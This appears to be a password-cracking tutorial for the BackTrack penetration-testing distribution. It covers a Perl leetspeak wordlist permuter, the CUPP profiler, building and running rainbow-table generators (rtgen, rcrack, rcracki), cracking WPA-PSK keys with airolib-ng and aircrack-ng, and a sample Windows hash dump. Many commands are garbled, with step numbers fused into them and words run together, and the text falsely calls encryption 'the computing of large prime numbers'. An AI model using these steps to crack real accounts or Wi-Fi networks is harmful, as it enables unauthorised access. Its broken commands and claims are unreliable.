use strict;use warnings;my %permution = ("a" => [ "a", "A", "4", "@", "&"],"b" => "bB8","c" => "cC","d" => [ "d", "D", "|)" ],"e" => "eE3","f" => "fF","g" => "gG9","h" => "hH","i" => "iI!|1","j" => "jJ","k" => [ "k", "K", "|<" ],"l" => [ "l", "L", "!", "7", "1", "|", "|_" ],"m" => [ "m", "M", "/\\/\\" ],"n" => [ "n", "N", "|\\|" ],"o" => [ "o", "O", "0", "()" ],"p" => "pP","q" => "qQ","r" => [ "r", "R", "|2" ],"s" => "sS5\$","t" => "tT71+","u" => "uU","v" => [ "v", "V", "\\/" ],"w" => ["w", "W", "\\/\\/" ],"x" => "xX","y" => "yY","z" => "zZ2",);# End configwhile (my $word = <>) {chomp $word;my @string = split //, lc($word);permute(0, @string);}sub permute {my $num = shift;my @str = @_;my $len = @str;if ($num >= $len) {foreach my $char (@str) {print $char;}print "\n";return;}my $per = $permution{$str[$num]};if ($per) {my @letters = ();if (ref($per) eq 'ARRAY') {@letters = @$per;} else {@letters = split //, $per;}$per = "";foreach $per (@letters) {my $s = "";for (my $i = 0; $i < $len; ++$i) {if ($i eq 0) {if ($i eq $num) {$s = $per;} else {$s = $str[0];}} else {if ($i eq $num) {$s .= $per;} else {$s .= $str[$i];}}}my @st = split //, $s;permute(($num + 1), @st);}} else {permute(($num + 1), @str);}}
It can be found in /pentest/passwords/cupp.
It is easy to use.
1.
boot BackTrack and login as root
2.
open a terminal window
3.
Code:
# cd /pentest/password/cupp3.# ./cupp -i
answer the questions and wait until the program is finished generating its file.
11 Rainbow Tables
11.1 What are they?
Rainbow tables are files that contain pre-computed hashes of passwords. This drastically cuts down on the time it takes to crack passwords. You will need a set of tables for each algorithm you want to break. Since LM hashes are so weak I do not waste the disk space to store them. The last time I checked the size of the LM hash rainbow tables for a password of 1 to 7 characters and a character set of:
[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/] was 120GB insize. The table was generated by Hak5. This table is supposed to have a 99.9% success rate. You do not need a table with 8 to 14 characters as the password is split into 2 separate 7 character hashes.
NTLM tables are larger as the possible character set is:
[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
and the password is not broken into smaller parts. Given this and most likely you have 6 or 7 character minimum password length; the size of the tables can be quite large. I have not found anywhere tod ownload a reasonable set of NTLM rainbow tables. To me reasonable is from 1 to 14 characters using the above character set. A table using these specs will extremely large.
11.2 Generating your own
To generate you rainbow tables you need three things: what algorithm are you going to need, the software to generate the table, a really fast PC or FPGA or GPU. Let us start with the NTLM algorithm. The BackTrack software has rtgen available to generate the tables. If you want to generate tables using windows download Cain & Abel fromhttp://www.oxid.it/projects.html as that contains the latest release of winrtgen. For moreinformation about rainbow tables visit The Ethical Hacker Network athttp://www.ethicalhacker.net/content/view/94/24/
A set of tables that use the loweralpha-numeric-symbol14 character set for a maximum of 8 character password and a 99.6972% probability of success will take 120 tables and 175GB of disk space. I usedwinrtgen to get these figures.
11.2.1 rcrack - obsolete
The current version of rcrack is 1.4 however version 1.3 and 1.4 only support windows. Version 1.2 is theonly version that supports Linux. If you need to generate rainbow tables for any algorithms other than LM,MD5, and SHA1 you will have to recompile the RainbowCrack source code. The rtgen utility that comes withBackTrack 3 can only generate LM, MD5, and SHA1 tables.
To recompile:
boot BackTrack and login as root.
download the RainbowCrack source code from http://project-rainbowcrack.com/index.htm#download
Next download the algorithm patch using the link from the page above. This patch adds support for the NTLM, MD2, MD4 and RIPEMD160 algorithms.
Open a terminal prompt:
Code:
# mkdir rc
Code:
# mv rainbowcrack-1.2-src.zip rc
Code:
# mv rainbowcrack-1.2-src-algorithmpatch.zip rc
Code:
# cd rc8
Code:
# unzip rainbowcrack-1.2-src.zip
Code:
# unzip rainbowcrack-1.2-src-algorithmpatch.zip10
Code:
# cp rainbowcrack-1.2-src-algorithmpatch/Hash* rainbowcrack-1.2-src/src/
Code:
# cd rainbowcrack-1.2-src12
Code:
# make -f makefile.linux13
Code:
# cp rcrack /pentest/password/rcrack/
Code:
# cp rt* /pentest/password/rcrack/
Code:
# cd /pentest/password/rcrack
Code:
# rtgen
Replace the charset.txt file in /pentest/password/rcrack with the following:
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro ([email protected])
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei ([email protected])
alpha = [ABCDEFGHIJKLMNOPQRSTUVWXYZ]
alpha-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
alpha-numeric-space = [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]
alpha-numeric-symbol14 = [[email protected]#$%^&*()-_+=]
alpha-numeric-symbol14-space = [[email protected]#$%^&*()-_+= ]
alpha-numeric-all = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]alpha-numeric-all-space = [ABC[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
loweralpha = [abcdefghijklmnopqrstuvwxyz]
loweralpha-space = [abcdefghijklmnopqrstuvwxyz ]
loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]
loweralpha-numeric-space = [abcdefghijklmnopqrstuvwxyz0123456789 ]
loweralpha-numeric-symbol14 = [[email protected]#$%^&*()-_+=]
loweralpha-numeric-symbol14-space = [[email protected]#$%^&*()-_+=" ]
loweralpha-numeric-all = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
loweralpha-numeric-all-space = [[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
mixalpha = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mixalpha-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]
mixalpha-numeric = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mixalpha-numeric-space =[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]
mixalpha-numeric-symbol14 =[[email protected]#$%^&*()-_+=]
mixalpha-numeric-symbol14-space =[[email protected]#$%^&*()-_+= ]
mixalpha-numeric-all =[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
mixalpha-numeric-all-space =[[email protected]#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]
byte = []
numeric = [0123456789]
numeric-space = [0123456789 ]
This new file adds support for many more character sets than the one that comes with rcrack or rcracki.
11.2.2 rcracki
rcracki is a modified version of rcrack which supports hybrid and indexed tables. The advantage of indexedtables is the size is reduced by 50% and lookup times are faster. Rainbowtables generated by rcrack and NOT compatible with rcracki.
Rainbowtables generated by rcracki are NOT compatible with rcrack. You can convert rcracki rainbowtables to the old format using the rti2rto utility. Currently there is no rto2rti utility although one might be in the works. A hybrid table is a table that fits into 1 of 2 categories:
I. common passwords like password are tried first
II. the password is a combination of two character sets.
For example password123 is a hybrid of the loweralpha and numeric character sets.
I spent almost 4 hours trying to get rcracki to compile. I seceded in compiling rotten by adding md5.cpp to themakefile.linux rtgen section. I added md5.cpp right before RainbowTableGenerate.cpp and then rtgencompiled fine. That took about 5 minutes to figure out and fix. I spent the rest of the time of rtdump. I just gave up. The linux version of rcracki is new so some things just don't work yet. Work is being done to getrcracki to work properly on linux but there is no ETA on when that will happen. Here is how you are supposed to compile rcracki but it doesn't work yet: boot BackTrack and login as root1.
download the rcracki source from http://www.freerainbowtables.com/php...ic.php?&t=5642
open a terminal window
Code:
# mkdir rcracki
Code:
# mv rcrackisrc.zip rcracki
Code:
# cd rcracki
Code:
# unzip rcrackisrc.zip
Code:
# make -f makefile.linux
Code:
# mkdir /pentest/password/rcracki
Code:
# cp rcrack /pentest/password/rcracki
Code:
# cp rtdump /pentest/password/rcracki
Code:
# cp rtgen /pentest/password/rcracki
Code:
# cp rtsort /pentest/password/rcracki
11.2.3 rcracki - BOINC client
The current version of rcrack is now a boinc client. BOINC is an open-source software platform for computing using volunteered resources. By using the boinc client PowerBlade (maintainer of rcracki) only has to compile a small binary for each platform. This frees his time to work on taking generating rainbowtables to the next level. There are versions of the client for Windows (32-bit and 64-bit), Linux (32-bit and64-bit), Mac OS X. All you have to do is download and install the correct boinc client for your system fromhttp://boinc.berkeley.edu/download_all.php. Next point the boinc client to the project url of http://boinc.freerainbowtables.com/distrrtgen/
You need to create a separate account for chain generation. If you use the same email for your account at boinc.freerainbowtables.com and www.freerainbowtables.com
you will be able to view statistics about your progress.
11.2.4 Generating a rainbow table
Code:
#rtgen ntlm loweralpha-numeric-symbol14 1 8 0 20000 97505489 _XXX
ntlm is the algorithm you want to rtgen to use
loweralpha-numeric-symbol
14 is the character set you want to use
1 is the minimum password length
8 is the maximum password length
0 is the table index - do not worry about it
20000 is the chain length, higher numbers increase the probability success rate without increasing the tablesize much. However a larger number will cause rcrack or rcracki a larger amount of time to walk them thusincreasing the time it takes to crack the hashes. 20000 is probably the largest you should use.
97505489 is the number of chains to store in the table. Think of this as the size of table you want to generate.
97505489 is the right size to generate a table if you are going to store them on a DVD. With 97505489 youcan store 3 tables on 1 DVD. Use 40000000 if you are going to store the table on a CD. You can use whatever number you want as long as the resulting table is less than 2GB in size. The password cracking tools haveissues with tables greater than 2GB.
_XXX is whatever you want appended to the filename. Since I know I need 120 tables I will start with _001and end at _120
So to generate 3 tables you do:
Code:
# rtgen ntlm loweralpha-numeric-symbol14 1 8 0 20000 97505489 _001
Code:
# rtgen ntlm loweralpha-numeric-symbol14 1 8 0 20000 97505489 _002
Code:
# rtgen ntlm loweralpha-numeric-symbol14 1 8 0 20000 97505489 _003
Code:
ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_001.rt
Code:
ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_002.rt
Code:
ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_003.rt
Code:
# rtsort ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_001.rt
Code:
# rtsort ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_002.rt
Code:
# rtsort ntlm_loweralpha-numeric-symbol14#1-8_0_20000x97505489_003.rt
11.3 WEP cracking
You do not need rainbow tables for WEP. See other postings for WEP cracking details.
11.4 WPA-PSK
Rainbow tables can be used to crack the Pre-Shared Keys of WPA. The Church of WIFI has a 40GB torrent of rainbow tables that use ~1,000,000 words for a total of approximately 40GB of hash tables for the top1000 SSID's.
The torrent is at http://rainbowtables.shmoo.com/
You will need a torrent client as BackTrack 4 does not come with one. I suggest bittorrent. Ktorrent is alsoavailable however to install it on BackTrack Ktorrent will add in 46 dependencies and bittorrent will only add1 dependience. To install all you need to do this:
Code:
# apt-get install bittorrent# btdownloadcurses --url http://rainbowtables.shmoo.com/95896A255A82D1FE8B6A2BFFC098B735058B30D7.torrent
11.4.1 airolib
To install the rainbow table in airolib for BT3, BT4 or BT5:
1.
Code:
#lzma -d wpa_tables.tar.lzma
2.
Code:
# tar -x wpa.tar
Go home or go to sleep and come back the next morning with a name for the database you are about tocreate. I am using dbname for this example.
Code:
# airolib-ng dbname --import cowpatty /path/to/file/you/want/to/import for example
Code:
# airolib-ng dbname --import cowpatty /mnt/usb/wordlist/wpa_psk-h1kari_renderman/xaa-0/2WIRE044
Code:
You will seeReading header... Reading... Updating references... Writing...
Code:
# airolib-ng dbname --stats
ESSID Priority Done2WIRE044 64 100.06.
Now the odds of your SSID being in this database are probably not good. You can check the SSID.txt file thatcame with the torrent for your SSID. If your SSID is not in the database you can add it. To add a SSID youneed to create a text file that has all of the SSIDs you want to add. airolib won't accept a SSID from thecommand line. Then you import the file:
Code:
# airolib-ng dbname --import essid newssid.txt
Code:
Reading file... Writing... Done.
Code:
# cat newssid.txt
Test1
Test2
Test3
Test2
Test3
Code:
#airolib-ng dbname --stats
ESSID Priority Done
2WIRE044 64 100.0
2WIRE047 64 100.0
Test1 64 0.0
Test2 64 0.0
Test3 64 0.0
2WIRE044 64 100.0
2WIRE047 64 100.0
Test1 64 0.0
Test2 64 0.0
Test3 64 0.0
Code:
#airolib-ng test --batch
To use the rainbow table do:
Code:
# aircrack-ng -r dbname wpa.cap
Pyrit is a GPU aware rainbow table generator geared specifically for WPA-PSK and WPA2-PSK passwordtesting. [email protected] has the definitive guide available at http://www.backtrack-linux.org/docum..._CUDA_v2.0.pdf
12. Distributed Password cracking
You can have a very fast computer but is not a match for 10 computer working on the problem. That isdistributed processing. Each node in the cluster gets to work on a small part of the problem. There is a centralnode or server to coordinate the work.
12.1 john
The openwall wiki: http://openwall.info/wiki/john/parallelization has a great article on the various attempts toadd distributed processing capabilities to john the ripper.
12.2 medussa (not a typo this is not medusa)
There is some well written documentation on how to compile and use medussa at http://www.krazyworks.com/distribute...-with-medussa/
It appears that medussa hasn't seen any updates since 2004 but still appears to work fine.
BackTrack 4 doesn't ship with gmp so you must do:
Code:
# apt-get install libgmp3-dev
13. using a GPU
Cuda is an acronym for Compute Unified Device Architecture. NVIDIA developed cuda as a parallelcomputing architecture which allows users to use their graphics card (if supported by cuda) to process datainstead of their CPUs. ATI also has hardware and software that you can use to accelerate your nongraphicalapplications. ATI's solution is called Stream. You are probably thinking why would I want my graphics card to process data. The answer is you probably don't except for specific circumstances, i.e. password cracking. CPUs are designed for general purpose number crunching. As encryption has become more common place Intel and AMD have added instructions to their processors to make certain algorithms perform faster. Intelhas added 6 instructions to some of their processors in an effort to increase the speed of the processing AESencryption and decryption. There are also 2 instructions for AES key expansion. These instructions, onceused by software, will increase the speed of cracking of AES. However these instructions pale in comparisonto a graphics card. A graphics card does nothing but compute large numbers and that is basically allencryption is, the computing of large prime numbers.
13.1 cuda - nvidia
The definitive guide was written by [email protected] and can be downloaded from http://www.backtrack-linux.org/docum..._CUDA_v2.0.pdf
As the title says cuda is supported on NVIDIA cards. It is possible to run cuda applications on ATI cards however the results have been disappointing. If you have an ATI see the next section.BackTrack 4 has several cuda enabled applications. Pyrit is probably the most used.
See 11.4.2 pyriton howto use pyrit.
13.2 Stream - ati
You can read about Stream at http://www.amd.com/us/products/techn...echnology.aspx
BackTrack 4 doesn't have any applications that support Stream that I know of. I don't have the hardware to test any applications for Stream support.
14. example hash.txt
Administrator:500:CEEB0FA9F240C200417EAF50CFAC29C3
280553F0103F2E643406517296E7582:::a:1011:7584248B8D2C9F9EAAD3B435B51404EE:186CB09181E2C2ECAAC768C47C729904::: b:1012:AC5BA6A944526699AAD3B435B51404EE:F07A9DFFFC2C5C7F9D9EBC83FD69D68E:::
c:1013:E7EED3F5C2C85B88AAD3B435B51404EE:6AA15B3D14492D3FA4AA7C5E9CDC0E6A:::
d:1014:8142C9E2CCAFA80EAAD3B435B51404EE
43EB3C12D597DFE44A31859C586B2DC:::Credit: J.Dravet
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